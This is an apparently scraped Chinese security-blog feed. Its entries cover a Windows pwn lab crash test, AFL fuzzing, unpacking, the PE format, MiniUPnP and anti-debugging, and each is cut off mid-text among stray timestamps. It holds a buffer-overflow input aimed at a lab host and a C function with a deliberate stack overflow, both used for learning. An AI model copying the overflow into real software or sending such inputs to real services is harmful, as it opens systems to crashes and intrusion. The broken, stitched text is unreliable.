"https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742316/pwn/%E5%9B%BE%E7%89%871.png" a l t > </p> <p > <strong > 产生崩溃</strong> <br > 将输出的1024个A发送给靶机程序<br > <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > python -c " print(' A' * 1024)" </span> <br > <span class= "line" > telnet 192.168.64.138 4242</span> <br > </pre> </td> </tr> </table> </figure> </p> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742366/pwn/%E5%9B%BE%E7%89%872.png" a l t > </p> <h2 id= "关闭防御措施" > <a href= "#关闭防御措施" class= "headerlink" title= "关闭防御措施" > </a> 关闭防御措施</h2> <p > 使用<strong > PESecurity</strong> 检查可执行文件本身的防御措施开启情况<br > 注意设置: Set-ExecutionPolicyUnrestricted</p> <p > <img src= "https://res.cloudinary.com/dozyfk
2021-01-08 08:35:03 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > Pwn </category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 二进制 </tag>
<tag > Windows </tag>
<tag > 漏洞 </tag>
</tags>
</entry>
<entry >
<title > AFL-爱之初体验</title>
<link href= "/2019/07/09/afl-first-try/" />
<url > /2019/07/09/afl-first-try/</url>
<content type= "html" > <![CDATA[<p> 参考:<a href= "https://paper.seebug.org/841/#_1" target= "_blank" rel= "noopener" > https://paper.seebug.org/841/#_1</a> </p> <p > <strong > 部署afl</strong> </p> <blockquote > <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > > wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz</span> <br > <span class= "line" > > tar -zxvf afl-latest.tgz</span> <br > <span class= "line" > > cd afl-2.52b/</span> <br > <span class= "line" > > make</span> <br > <span class= "line" > > sudo make install</span> <br > <span class= "line" > > </span> <br > </pre> </td> </tr> </table> </figure> </blockquote> <p > <strong > 部署qemu</strong> </p> <blockquote > <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > > $ CPU_TARGET=x86_64 ./build_qemu_support.sh</span> <br > <span class= "line" > > [+] Build process successful!</span> <br > <span class= "line" > > [*] Copying binary...</span> <br > <span class= "line" > > -rwxr-xr-x 1 han han 10972920 7月 9 10:43 ../afl-qemu-trace</span> <br > <span class= "line" > > [+] Successfully created ' ../afl-qemu-trace' .</span> <br > <span class= "line" > > [!] Note: can' t test instrumentation when CPU_TARGET set.</span> <br > <span class= "line" > > [+] All set, you can now (hopefully) use the -Q mode in afl-fuzz!</span> <br > <span class= "line" > > </span> <br > </pre> </td> </tr> </table> </figure> </blockquote> <hr > <h1 id= "0x01-白盒测试" > <a href= "#0x01-白盒测试" class= "headerlink" title= "0x01 白盒测试" > </a> 0x01 白盒测试</h1> <h2 id= "目标程序编译" > <a href= "#目标程序编译" class= "headerlink" title= "目标程序编译" > </a> 目标程序编译</h2> <ol > <li > <p > 源代码</p> <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > <span class= "line" > 9</span> <br > <span class= "line" > 10</span> <br > <span class= "line" > 11</span> <br > <span class= "line" > 12</span> <br > <span class= "line" > 13</span> <br > <span class= "line" > 14</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > #undef _FORTIFY_SOURCE</span> <br > <span class= "line" > #include < stdio.h> </span> <br > <span class= "line" > #include < stdlib.h> </span> <br > <span class= "line" > #include < unistd.h> </span> <br > <span class= "line" > </span> <br > <span class= "line" > void vulnerable_function() { </span> <br > <span class= "line" > char buf[128];</span> <br > <span class= "line" > read(STDIN_FILENO, buf, 256);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > int main(int argc, char** argv) { </span> <br > <span class= "line" > vulnerable_function();</span> <br > <span class= "line" > write(STDOUT_FILENO, " Hello, World\n" , 13);</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure> </li> <li > <p > gcc编译( 不插桩) </p> <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > $ gcc v1.c -o v1</span> <br > <span class= "line" > $ ./v1</span> <br > <span class= "line" > what</span> <br > <span class= "line" > Hello, World</span> <br > </pre> </td> </tr> </table> </figure> </li> </ol> <p > 生成v1的目的一是为了和afl-gcc的编译做对比, 二是为黑盒测试做铺垫。</p> <ol start= "3" > <li > 使用afl-gcc<63>
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 二进制 </category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > AFL </tag>
<tag > 模糊测试 </tag>
</tags>
</entry>
<entry >
<title > 模糊测试与AFL</title>
<link href= "/2019/07/01/AFL-first-learn/" />
<url > /2019/07/01/AFL-first-learn/</url>
<content type= "html" > <![CDATA[<h1 id="0x01-模糊测试"> <a href= "#0x01-模糊测试" class= "headerlink" title= "0x01 模糊测试" > </a> 0x01 模糊测试</h1> <p > 首先, 模糊测试( Fuzzing) 是一种测试手段, 它把系统看成一个摸不清内部结构的黑盒, 只是向其输入接口随机地发送合法测试用例, 这些用例并不是开发者所预期的输入, 所以极有可能会造成系统的崩溃, 通过分析崩溃信息, 测试人员( 黑客) 就可以评估系统是否存在可利用的漏洞。<br > 模糊测试的过程,就好像是一个不断探测系统可以承受的输入极限的过程,让我想起学电子的时候对一个滤波器进行带宽的评估,如果我们知道内部电路原理,那么这个器件对于我们就是白盒了,可以直接通过公式计算理论带宽,现在系统对于我们而言是一个黑盒,我们通过在足够大频率范围内对其不断输入信号,就能测试出其实际带宽。</p> <p > <strong > 模糊测试方法一览</strong> </p> <table > <tr > <th rowspan= "2" > 基于变种的Fuzzer</th> <th rowspan= "2" > 基于模板的Fuzzer</th> <th colspan= "2" > 基于反馈演进的Fuzzer</th> </tr> <tr > <td > 基于追踪路径覆盖率</td> <td > 基于分支覆盖率</td> </tr> <tr > <td rowspan= "2" > 在已知合法的输入的基础上,对该输入进行随机变种或者依据某种经验性的变种,从而产生不可预期的测试输入。</td> <td rowspan= "2" > 此类Fuzzer工具的输入数据, 依赖于安全人员结合自己的知识, 给出输入数据的模板, 构造丰富的输入测试数据。</td> <td colspan= "2" > 此类Fuzzer会实时的记录当前对于目标程序测试的覆盖程度, 从而调整自己的fuzzing输入。</td> </tr> <tr > <td > PAP:路径编码的算法;后面会产生路径爆炸的问题</td> <td > 漏洞的爆发往往由于触发了非预期的分支</td> </tr> <tr > <td > Taof, GPF, ProxyFuzz, Peach Fuzzer</td> <td > SPIKE, Sulley, Mu‐ 4000, Codenomicon</td> <td > </td> <td > AFL</td> </tr> </table> <hr > <h1 id= "0x02-AFL快速入门" > <a href= "#0x02-AFL快速入门" class= "headerlink" title= "0x02 AFL快速入门" > </a> 0x02 <a href= "http://lcamtuf.coredump.cx/afl/QuickStartGuide.txt" target= "_blank" rel= "noopener" > AFL快速入门</a> </h1> <p > 1) 用<code > make</code> 编译AFL。如果构建失败, 请参阅docs / INSTALL以获取提示。<br > 2) 查找或编写一个相当快速和简单的程序, 该程序从<strong > <em > 文件或标准输入</em> </strong> 中获取数据, 以一种有价值的方式处理它, 然后干净地退出。如果测试网络服务, 请将其修改为在前台运行并从stdin读取。在对使用校验和的格式进行模糊测试时, 也要注释掉校验和验证码。<br > 遇到故障时, 程序必须正常崩溃。注意自定义SIGSEGV或SIGABRT处理程序和后台进程。有关检测非崩溃缺陷的提示, 请参阅<code > docs/README</code> 中的第11节。<br > 3) 使用afl-gcc编译要模糊的程序/库。一种常见的方法是:<br > <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > $ CC = /path/to/afl-gcc CXX =/path/to/afl-g++ ./configure --disable-shared</span> <br > <span class= "line" > $ make clean all</span> <br > </pre> </td> </tr> </table> </figure> </p> <p > 如果程序构建失败,请联系 <a href= "mailto:afl-users@googlegroups.com" target= "_blank" rel= "noopener" > a f l - u s e r s @ g o o g l e g r o u p s . c o m </a> 。<br > 4) 获取一个对程序有意义的小而有效的输入文件。在模糊详细语法( SQL, HTTP等) 时, 也要创建字典, 如<code > dictionaries/README.dic
2021-04-10 10:53:27 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 二进制 </category>
2021-04-10 10:53:27 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > AFL </tag>
<tag > 模糊测试 </tag>
</tags>
</entry>
<entry >
<title > 加壳与脱壳</title>
<link href= "/2019/05/14/pack-and-unpack/" />
<url > /2019/05/14/pack-and-unpack/</url>
<content type= "html" > <![CDATA[<p> 壳附加在原始程序上, 通过Windows加载器载入内存后, 先于原始程序执行, 以得到控制权, 在执行的过程中对原始程序进行解密还原, 然后把控制权还给原始程序, 执行原来的代码。<br > 加上外壳后,原始程序在磁盘文件中一般是以加密后的形式存在的,只在执行时在内存中还原。这样可以有效防止破解者对程序文件进行非法修改,也可以防止程序被静态反编译。</p> <h1 id= "壳的加载过程" > <a href= "#壳的加载过程" class= "headerlink" title= "壳的加载过程" > </a> 壳的加载过程</h1> <p > 壳和病毒在某些地方类似,都需要获得比原程序更早的控制权。壳修改了原程序执行文件的组织结构,从而获得控制权,但不会影响原程序正常运行。</p> <ol > <li > 保存入口参数<br > 加壳程序在初始化时会保存各寄存器的值, 待外壳执行完毕, 再恢复各寄存器的内容, 最后跳回原程序执行。通常用pushad/popad等指令保存和恢复现场环境。</li> <li > 获取壳本身需要使用的API地址<br > 一般情况下, 外壳的输入表中只有GetProcAddress、GetModuleHandle和LoadLibrary这三个API函数, 甚至只有Kernel32.dll及GetProcAddress。如果需要其他API函数, 可以通过LoadlibraryA或LoadlibraryExA将DLL文件映像映射到调用进程的地址空间中, 函数返回的HINSTANCE值用于标识文件映像所映射的虚拟内存地址。</li> <li > 解密原程序各个区块的数据<br > 在程序执行时,外壳将解密区块数据,使程序正常运行。</li> <li > IAT的初始化<br > IAT的填写本来由PE装载器实现, 但由于在加壳时构造了一个自建输入表, 并让PE文件头数据目录表中的输入表指针指向自建输入表, PE装载器转而填写自建输入表, 程序的原始输入表被外壳变形后存储, IAT的填写会由外壳程序实现。外壳从头到尾扫描变形后的输入表结构, 重新获得引入函数地址, 填写在IAT中。</li> <li > 重定位项的处理<br > 针对加壳的DLL</li> <li > Hook API<br > 壳在修改原程序文件的输入表后自己模仿操作系统的流程, 向输入表填充相关数据。在填充过程中, 外壳可以填充Hook API代码的地址, 从而获得程序控制权。</li> <li > 跳转到OEP</li> </ol> <h1 id= "通用脱壳方法" > <a href= "#通用脱壳方法" class= "headerlink" title= "通用脱壳方法" > </a> 通用脱壳方法</h1> <p > 通常脱壳的基本步骤如下:<br > 1:寻找OEP<br > 2:转储(PS:传说中的dump)<br > 3:修复IAT(修复导入表)<br > 4:检查目标程序是否存在AntiDump等阻止程序被转储的保护措施,并尝试修复这些问题。<br > 以上是脱壳的经典步骤,可能具体到不同的壳的话会有细微的差别。</p> <h2 id= "寻找OEP" > <a href= "#寻找OEP" class= "headerlink" title= "寻找OEP" > </a> 寻找OEP</h2> <ol > <li > 搜索JMP或者CALL指令的机器码(即一步直达法,只适用于少数壳,包括UPX,ASPACK壳)<br > 对于一些简单的壳可以用这种方式来定位OEP,但是对于像AsProtect这类强壳(PS:AsProtect在04年算是强壳了,嘿嘿)就不适用了,我们可以直接搜索长跳转JMP(0E9)或者CALL(0E8)这类长转移的机器码,一般情况下(理想情况)壳在解密完原程序各个区段以后,需要一个长JMP或者CALL跳转到原程序代码段中的OEP处开始执行原程序代码。按CTRL+B组合键搜索一下JMP的机器码E9(CTRL+L查看下一个) ,看看有没有这样一个JMP跳转到原程序的代码段。</li> <li > 使用OllyDbg自带的功能定位OEP(SFX法)<br > 演示这种方法目标程序我们还是选择CRACKME UPX.EXE,用OD加载该程序,然后选择菜单项Options-Debugging options-SFX。该选项只有当OllyDbg发现壳的入口点位于代码段之外的时候才会起作用,壳的入口点位于代码段中的情况还是比较少见的。</li> <li > 使用Patch过的OD来定位OEP(即内存映像法)<br > 正常的内存访问断点读取,写入,执行的时候都会断下来,该Patch过
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 二进制 </category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 逆向 </tag>
<tag > 破解 </tag>
</tags>
</entry>
<entry >
<title > PE文件格式学习</title>
<link href= "/2019/05/13/PE-file/" />
<url > /2019/05/13/PE-file/</url>
<content type= "html" > <![CDATA[<h1 id="PE文件格式"> <a href= "#PE文件格式" class= "headerlink" title= "PE文件格式" > </a> PE文件格式</h1> <p > PE(Portable Executable)是Win32平台下可执行文件遵守的数据格式。常见的可执行文件( 如exe和dll) 都是典型的PE文件。PE文件格式其实是一种数据结构, 包含Windows操作系统加载管理可执行代码时所必要的信息, 如二进制机器代码、字符串、菜单、图标、位图、字体等。PE文件格式规定了所有这些信息在可执行文件中如何组织。<strong > 在程序被执行时, 操作系统会按照PE文件格式的约定去相应地方准确定位各种类型的资源, 并分别装入内存的不同区域。</strong> <br > PE文件格式把可执行文件分成若干个数据节( section) , 不同资源被存放在不同的节中, 一个典型的PE文件中包含的节如下: </p> <ul > <li > <code > .text</code> 由编译器产生,存放着二进制的机器代码,也是反汇编和调试的对象</li> <li > <code > .data</code> 初始化的数据块,如宏定义、全局变量、静态变量等</li> <li > <code > .idata</code> 可执行文件所使用的动态链接库等外来函数与文件信息</li> <li > <code > .rsrc</code> 存放程序的资源,如图标、菜单等<br > 除此之外,还有可能有<code > .reloc</code> ,<code > .edata</code> ,<code > .tls</code> ,<code > .rdata</code> </li> </ul> <h1 id= "0x01-PE文件与虚拟内存之间的映射" > <a href= "#0x01-PE文件与虚拟内存之间的映射" class= "headerlink" title= "0x01 PE文件与虚拟内存之间的映射" > </a> 0x01 PE文件与虚拟内存之间的映射</h1> <h2 id= "虚拟内存" > <a href= "#虚拟内存" class= "headerlink" title= "虚拟内存" > </a> 虚拟内存</h2> <p > Windows的内存可以被分为两个层面: 物理内存和虚拟内存。其中, 物理内存比较复杂, 需要进入Windows内核级别ring0才能看到。通常, 在用户模式下, 我们用调试器看到的都是虚拟内存。<br > 如果我们把这看成银行,那么就很好理解了。</p> <ul > <li > 进程相当于储户</li> <li > 内存管理器相当于银行</li> <li > 物理内存相当于钞票</li> <li > 虚拟内存相当于存款</li> </ul> <h2 id= "映射关系" > <a href= "#映射关系" class= "headerlink" title= "映射关系" > </a> 映射关系</h2> <ol > <li > 在漏洞挖掘中,经常需要的两种操作:</li> </ol> <ul > <li > 静态反编译工具看到的是PE文件中某条指令的位置是相对与磁盘而言的, 就是所谓的 <strong > 文件偏移</strong> ,我们可能还需要知道这条指令在内存中的位置,这个位置就是虚拟内存地址(VA)</li> <li > 反过来,在调试时看到的某条指令的地址是 <strong > 虚拟内存地址( VA) </strong> , 也就是我们需要回到PE文件中找到这条指令对应的机器码</li> </ul> <ol start= "2" > <li > 几个重要概念</li> </ol> <ul > <li > 文件偏移地址(File Offset): <br > 数据在PE文件中的地址叫做文件偏移地址,可以理解为就是文件地址。这是文件在磁盘上存放相对与文件开头的偏移。</li> <li > 装载基址(Image Base):<br > PE装入内存时的基地址。默认情况下, EXE文件在内存中对应的基地址是<code > 0x00400000</code> ,DLL文件是<code > 0x10000000</code> 。这些位置可能通过编译选项修改</li> <li > 虚拟内存地址(Virtual Address,VA ): <br > PE文件中的指令装入内存后的地址。</li> <li > 相对虚拟地址(Relative Virtual Address, RVA): <br > 相对虚拟地址是内存地址相对于映射基址的偏移量。</li> </ul> <ol start= "3" > <li > <p > 虚拟内存地址,装载基址,相对虚拟内存地址三者之间的关系:</p> <blockquote > <p > VA = Image Base + RVA</p> </blockquote> </li> <li > <p > 文件偏移地址与相对虚拟地址:<br > 文件偏移地址是相对于文件开始处0字节的偏移,RVA(相对虚拟地址)则是相对于装载基址0x00400000处的偏移.由于操作系统在装载时“基本”上保持PE中的数据结构, 所以文件偏移地址和RVA有很大的一致性。( 不是全部<E585A8> <E983A8>
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 二进制 </category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 文件格式 </tag>
<tag > PE </tag>
</tags>
</entry>
<entry >
<title > 小米路由器_MiniUPnP协议</title>
<link href= "/2019/04/21/XIAOMI-UPnP/" />
<url > /2019/04/21/XIAOMI-UPnP/</url>
<content type= "html" > <![CDATA[<h1 id="概述"> <a href= "#概述" class= "headerlink" title= "概述" > </a> 概述</h1> <p > <a href= "http://miniupnp.free.fr/" target= "_blank" rel= "noopener" > HomePage</a> <br > <a href= "https://openwrt.org/docs/guide-user/firewall/upnp/miniupnpd" target= "_blank" rel= "noopener" > OpenWRT与miniUPnP</a> </p> <blockquote > <p > MiniUPnP项目提供了支持UPnP IGD(互联网网关设备)规范的软件。<br > 在MiniUPnPd中添加了NAT-PMP和PCP支持。 对于客户端( MiniUPnPc) 使用libnatpmp来支持NAT-PMP。<br > MiniUPnP守护程序( MiniUPnPd) 支持OpenBSD, FreeBSD, NetBSD, DragonFly BSD( Open) Solaris和Mac OS X以及pf或ipfw( ipfirewall) 或ipf和Linux with netfilter。 MiniUPnP客户端( MiniUPnPc) 和MiniSSDPd是便携式的, 可以在任何POSIX系统上运行。 MiniUPnPc也适用于MS Windows和AmigaOS( 版本3和4) 。</p> </blockquote> <p > <a href= "https://2014.ruxcon.org.au/assets/2014/slides/rux-soap_upnp_ruxcon2014.pptx" target= "_blank" rel= "noopener" > https://2014.ruxcon.org.au/assets/2014/slides/rux-soap_upnp_ruxcon2014.pptx</a> <br > <a href= "https://www.akamai.com/us/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf" target= "_blank" rel= "noopener" > https://www.akamai.com/us/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf</a> <br > <a href= "https://www.defcon.org/images/defcon-19/dc-19-presentations/Garcia/DEFCON-19-Garcia-UPnP-Mapping.pdf" target= "_blank" rel= "noopener" > https://www.defcon.org/images/defcon-19/dc-19-presentations/Garcia/DEFCON-19-Garcia-UPnP-Mapping.pdf</a> </p> <h2 id= "UPnP-IGD客户端轻量级库和UPnP-IGD守护进程" > <a href= "#UPnP-IGD客户端轻量级库和UPnP-IGD守护进程" class= "headerlink" title= "UPnP IGD客户端轻量级库和UPnP IGD守护进程" > </a> UPnP IGD客户端轻量级库和UPnP IGD守护进程</h2> <p > 大多数家庭adsl /有线路由器和Microsoft Windows 2K/XP都支持UPnP协议。 MiniUPnP项目的目标是提供一个免费的软件解决方案来支持协议的“Internet网关设备”部分。</p> <blockquote > <p > 用于UPnP设备的Linux SDK( libupnp) 对我来说似乎太沉重了。 我想要最简单的库, 占用空间最小, 并且不依赖于其他库, 例如XML解析器或HTTP实现。 所有代码都是纯ANSI C.</p> </blockquote> <p > miniupnp客户端库在x86 PC上编译, 代码大小不到50KB。<br > miniUPnP守护程序比任何其他IGD守护程序小得多, 因此非常适合在低内存设备上使用。 它也只使用一个进程而没有其他线程, 不使用任何system( ) 或exec( ) 调用, 因此保持系统资源使用率非常低。<br > 该项目分为两个主要部分:</p> <ul > <li > MiniUPnPc, 客户端库, 使应用程序能够访问网络上存在的UPnP“Internet网关设备”提供的服务。 在UPnP术语中, MiniUPnPc是UPnP控制点。</li> <li > MiniUPnPd, 一个守护进程, 通过作为网关的linux或BSD( 甚至Solaris) 为您的网络提供这些服务。 遵循UPnP术语, MiniUPnPd是UPnP设备。<br > 开发MiniSSDPd与MiniUPnPc, MiniUPnPd和其他协作软件一起工作: 1. MiniSSDPd监听网络上的SSDP流量, 因此MiniUPnPc或其他UPnP控制点不需要执行发现过程, 并且可以更快地设置重定向; 2. MiniSSDPd还能够代表MiniUPnPd或其他UPnP服务器软件回复M-SEARCH SSDP请求。 这对于在同一台机器上托管多个UPnP服务很有用。<br > 守护进程现在也可以使用netfilter用于linux 2.4.x和2.6.x. 可以使它在运行OpenWRT的路由器设备上运行。<br > 由于某些原因, 直接使用MiniUPnP项目中的代码可能不是一个好的解决方案。<br > 由于代码很小且易于理解, 因此为您自己的UPnP实现提供灵感是一个很好的基础。 C ++中的<a href= "http://ktorrent.org/" target= "_blank" rel= "noopener" > KTorrent</a> UPnP插件就是一个很好的例子。</li> </ul> <h2 id= "MiniUPnP客户端库的实用性" > <a href= "#MiniUPnP客户端库的实用性" class= "headerlink" title= "MiniUPnP客户端库<E7ABAF>
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > IOT </category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 小米 </tag>
<tag > 路由器 </tag>
<tag > MiniUPnP </tag>
</tags>
</entry>
<entry >
<title > 复原数据库存储以检测和跟踪安全漏洞</title>
<link href= "/2019/04/15/Caving-db-storage/" />
<url > /2019/04/15/Caving-db-storage/</url>
<content type= "html" > <![CDATA[<h1 id="Carving-Database-Storage-to-Detect-and-Trace-Security-Breaches"> <a href= "#Carving-Database-Storage-to-Detect-and-Trace-Security-Breaches" class= "headerlink" title= "Carving Database Storage to Detect and Trace Security Breaches" > </a> Carving Database Storage to Detect and Trace Security Breaches</h1> <blockquote > <p > 复原数据库存储以检测和跟踪安全漏洞<br > <a href= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312497/paper/2016-paper_carving_database_storage_to_detect_and.pdf" target= "_blank" rel= "noopener" > 原文下载</a> </p> </blockquote> <h2 id= "Motivation" > <a href= "#Motivation" class= "headerlink" title= "Motivation" > </a> Motivation</h2> <h3 id= "DBMS-数据库管理系统" > <a href= "#DBMS-数据库管理系统" class= "headerlink" title= "DBMS(数据库管理系统)" > </a> DBMS(数据库管理系统)</h3> <ul > <li > 通常用于存储和处理敏感数据, 因此, 投入了大量精力使用访问控制策略来保护DBMS。</li> <li > 一旦用户在DBMS中获得提升权限( 无论是合理的还是通过攻击的) , 实施的安全方案可以绕过, 因此无法再根据政策保证数据受到保护。<br > 1) 访问控制策略可能不完整, 允许用户执行他们不能执行的命令<br > 2) 用户可能通过使用DB或OS代码中的安全漏洞或通过其他方式非法获取权限</li> <li > 部署预防措施<br > 1) 在及时发生安全漏洞时检测安全漏洞;<br > 2) 在检测到攻击时收集有关攻击的证据, 以便设计对抗措施并评估损害程度</li> </ul> <h3 id= "例子" > <a href= "#例子" class= "headerlink" title= "例子" > </a> 例子</h3> <p > Malice是政府机构的数据库管理员, 为公民提供犯罪记录。 Malice最近被判犯有欺诈罪, 并决定滥用她的特权, 并通过运行DELETE FROM Record WHERE name = ‘ Malice’ 来删除她的犯罪记录。<br > 但是, 她知道数据库操作需要定期审核, 以检测对机构存储的高度敏感数据的篡改。为了覆盖她的操作, Malice在运行DELETE操作之前停用审计日志, 然后再次激活日志。因此, 在数据库中没有她的非法操纵的日志跟踪。<br > 但是,磁盘上的数据库存储仍将包含已删除行的证据。<br > 作者的方法检测已删除的痕迹和过期的记录版本,并将它们与审核日志进行匹配,以检测此类攻击,并提供数据库操作方式的证据。<br > 作者将检测已删除的行,因为它与审计日志中的任何操作都不对应,我们会将其标记为篡改的潜在证据。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555310640/paper/%E5%9B%BE%E7%89%871.png" a l t > </p> <h3 id= "思路一览" > <a href= "#思路一览" class= "headerlink" title= "思路一览" > </a> 思路一览</h3> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555310736/paper/%E6%8D%95%E8%8E%B7.png" a l t > </p> <h3 id= "提出方法" > <a href= "#提出方法" class= "headerlink" title= "提出方法" > </a> 提出方法</h3> <p > 使用称为DICE的现有取证工具( Wagner等, 2017) 来重建数据库存储<br > 通过匹配提取的存储条目,报告任何无法通过操作记录解释的工件来自动检测潜在的攻击</p> <ol > <li > DBDetective检查数据库存储和RAM快照, 并将它找到的内容与审计日志进行比较</li> <li > 然后,在不影响数据库操作的情况下,对核心数据进行分析。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555310863/paper/%E5%9B%BE%E7%89%872.png" a l t > </li> </ol> <p > 确定数据库篡改的可能性,并指出数据库存储中发现的具体不一致性。<br > 由于数据库存储的易变性,无法保证将发现所有攻击。<br > 在对于我们评估的每个主要DBMS, 我们假设DBMS已启用审计日志来捕获与调查相关的SQL命令。<br > 我们进一步假设一名攻击者通过以下方式阻止记录已执行的恶意命令:</p> <ul > <li > 停用审计策略并暂时挂起日志记录</li> <li > 更改现有审计日志(两者都在数据库日志可靠性部分中讨论)。<br > 通过
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 顶会论文 </category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 数据库 </tag>
<tag > 复原文件 </tag>
<tag > 取证 </tag>
</tags>
</entry>
<entry >
<title > 逆向工程与软件破解</title>
<link href= "/2019/03/28/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C/" />
<url > /2019/03/28/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C/</url>
<content type= "html" > <![CDATA[<h1 id="软件保护方式"> <a href= "#软件保护方式" class= "headerlink" title= "软件保护方式" > </a> 软件保护方式</h1> <ol > <li > 功能限制</li> <li > 时间限制</li> </ol> <ul > <li > 运行时长限制</li> <li > 使用日期限制</li> <li > 使用次数限制</li> </ul> <ol start= "3" > <li > 警告窗口</li> </ol> <h2 i d > <a href= "#" class= "headerlink" t i t l e > </a> <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553759246/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E5%9B%BE%E7%89%871.png" a l t > </h2> <h1 id= "分析工具" > <a href= "#分析工具" class= "headerlink" title= "分析工具" > </a> 分析工具</h1> <ol > <li > 静态分析工具</li> </ol> <ul > <li > IDA</li> <li > W32Dasm</li> <li > lordPE</li> <li > Resource Hacker</li> </ul> <ol start= "2" > <li > 动态分析工具</li> </ol> <ul > <li > OllyDbg</li> <li > WinDbg</li> </ul> <hr > <h1 id= "对抗分析技术" > <a href= "#对抗分析技术" class= "headerlink" title= "对抗分析技术" > </a> 对抗分析技术</h1> <ol > <li > 反静态分析技术</li> </ol> <ul > <li > 花指令</li> <li > 自修改代码技术</li> <li > 多态技术</li> <li > 变形技术</li> <li > 虚拟机保护技术</li> </ul> <ol start= "2" > <li > 反动态分析技术</li> </ol> <ul > <li > 检测调试状态</li> <li > 检测用户态调试器</li> <li > 检测内核态调试器</li> <li > 其他方法: 父进程检测; StartupInfo 结构; 时间差; 通过Trap Flag检测</li> </ul> <ol start= "3" > <li > 发现调试器后的处理</li> </ol> <ul > <li > 程序自身退出</li> <li > 向调试器窗口发送消息使调试器退出</li> <li > 使调试器窗口不可用</li> <li > 终止调试器进程</li> </ul> <hr > <h1 id= "PE文件格式基础" > <a href= "#PE文件格式基础" class= "headerlink" title= "PE文件格式基础" > </a> PE文件格式基础</h1> <hr > <h1 id= "加壳脱壳" > <a href= "#加壳脱壳" class= "headerlink" title= "加壳脱壳" > </a> 加壳脱壳</h1> <hr > <h1 id= "反调试技术" > <a href= "#反调试技术" class= "headerlink" title= "反调试技术" > </a> 反调试技术</h1> <p > 反调试技术,程序用它来识别是否被调试,或者让调试器失效。为了阻止调试器的分析,当程序意识到自己被调试时,它们可能改变正常的执行路径或者修改自身程序让自己崩溃,从而增加调试时间和复杂度。</p> <h2 id= "探测windows调试器" > <a href= "#探测windows调试器" class= "headerlink" title= "探测windows调试器" > </a> 探测windows调试器</h2> <ol > <li > 使用windows API<br > 使用Windows API函数探测调试器是否存在是最简单的反调试技术。<br > 通常, 防止使用API进行反调试的方法有在程序运行期间修改恶意代码, 使其不能调用API函数, 或修改返回值, 确保执行合适的路径, 还有挂钩这些函数。<br > 常用来探测调试器的API函数有: <code > IsDebuggerPresent</code> <code > CheckRemoteDebuggerPresent</code> <code > NtQueryInformationProcess</code> <code > OutputDebuggString</code> </li> <li > 手动检测数据结构<br > 程序编写者经常手动执行与这些API功能相同的操作</li> </ol> <ul > <li > 检查BeingDebugged属性</li> <li > 检测ProcessHeap属性</li> <li > 检测NTGlobalFlag</li> </ul> <ol start= "3" > <li > 系统痕迹检测<br > 通常, 我们使用调试工具来分析程序, 